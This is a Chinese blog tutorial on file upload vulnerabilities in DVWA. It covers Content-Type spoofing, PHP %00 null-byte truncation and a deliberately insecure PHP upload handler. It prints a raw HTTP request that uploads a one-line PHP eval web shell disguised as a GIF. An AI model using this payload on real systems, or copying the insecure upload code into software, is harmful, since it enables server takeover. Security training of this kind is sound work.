File Upload

File Upload,即文件上传漏洞,一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。

LOW

直接上传任意文件

 MEDIUM

验证Content-Type,修改Content-Type为 image/jpeg直接绕过

HIGH

验证了后缀名、文件大小及限制了上传文件的文件头必须为图像类型。

利用条件:

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为1.php%00.png。

高PHP版本会将%00转换成\0,高版本截断失效。

PHP 本地测试代码:

<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html> <?php
$uploaded_name = $_FILES[ 'file' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "houzhui: ".$uploaded_ext;
echo "<br />";
echo "<pre>";
echo print_r($_FILES);
echo "</pre>";
move_uploaded_file($_FILES["file"]["tmp_name"],"imag/" . $_FILES["file"]["name"]);
}
}
else
{
echo "Invalid file";
} ?>

测试记录:

上传1.php.jpg 拦截 00截断

服务端获取到的文件名$_FILES["file"]["name"]为1.php

00截断漏洞:

该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。

语法 1 move_uploaded_file ( string $filename , string $destination )

这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

POST /dede/upload.php HTTP/1.1
Host: 192.168.106.141
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/ Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------96431875028546
Content-Length: 3160 -----------------------------96431875028546
Content-Disposition: form-data; name="file"; filename="3.jpg"
Content-Type: image/jpeg GIF89aP 111111111111111
<?php eval($_POST[g]);?>
-----------------------------96431875028546
Content-Disposition: form-data; name="xxname" 1111111.php .jpg #进行截断
-----------------------------96431875028546
Content-Disposition: form-data; name="submit" Submit
-----------------------------96431875028546--

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考链接:

  文件上传之绕过 http://www.jianshu.com/p/4e2248c486ee

文件上传漏洞(绕过姿势)       https://zhuanlan.zhihu.com/p/25220150

  新手指南:DVWA-1.9全级别教程之File Upload  http://www.freebuf.com/articles/web/119467.html

PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 http://bobao.360.cn/news/detail/1383.html

最新文章

  1. C++学习笔记23:库
  2. gulp入坑系列(3)——创建多个gulp.task
  3. 《android传感器高级编程》译者序
  4. Merge Sort
  5. Android开发把项目打包成apk
  6. WEB前端研发工程师编程能力成长之路(1)(转)
  7. FreeCodeCamp-JS基础部分
  8. 2014-07-31 ASP.NET的母版页使用
  9. iterm2 快捷键
  10. Android6.0 源码修改之 仿IOS添加全屏可拖拽浮窗返回按钮
  11. JavaScript中Map和ForEach的区别
  12. QML C++插件dll引用
  13. mysql+servlet+jsp实现数据库的增删改查
  14. Win10 快捷命令收集
  15. Java时代即将来临
  16. [转]单元测试利器 JUnit 4
  17. QrenCode : 命令行下生成二维码图片
  18. BZOJ4419: [Shoi2013]发微博 暴力
  19. 【xsy1122】 路径 点分治+trie
  20. Netty源码分析第1章(Netty启动流程)----&gt;第5节: 绑定端口

热门文章

  1. oracle中merge into用法解析
  2. TestNG 入门指导——理解testng.xml执行/不执行某个包,某个类,某个方法
  3. 用python做数字油画或者从一幅画学习风格,去画另一幅画
  4. elasticsearch系列三:索引详解(分词器、文档管理、路由详解(集群))
  5. BIO、NIO、AIO系列一:NIO
  6. c# winform 获取当前程序运行根目录,winform 打开程序运行的文件夹
  7. MySQL查询优化之explain详解
  8. 树莓派获取ip地址发送到邮箱
  9. Python学习(五)——列表操作全透析
  10. 移植最新Uboot到JZ2440开发板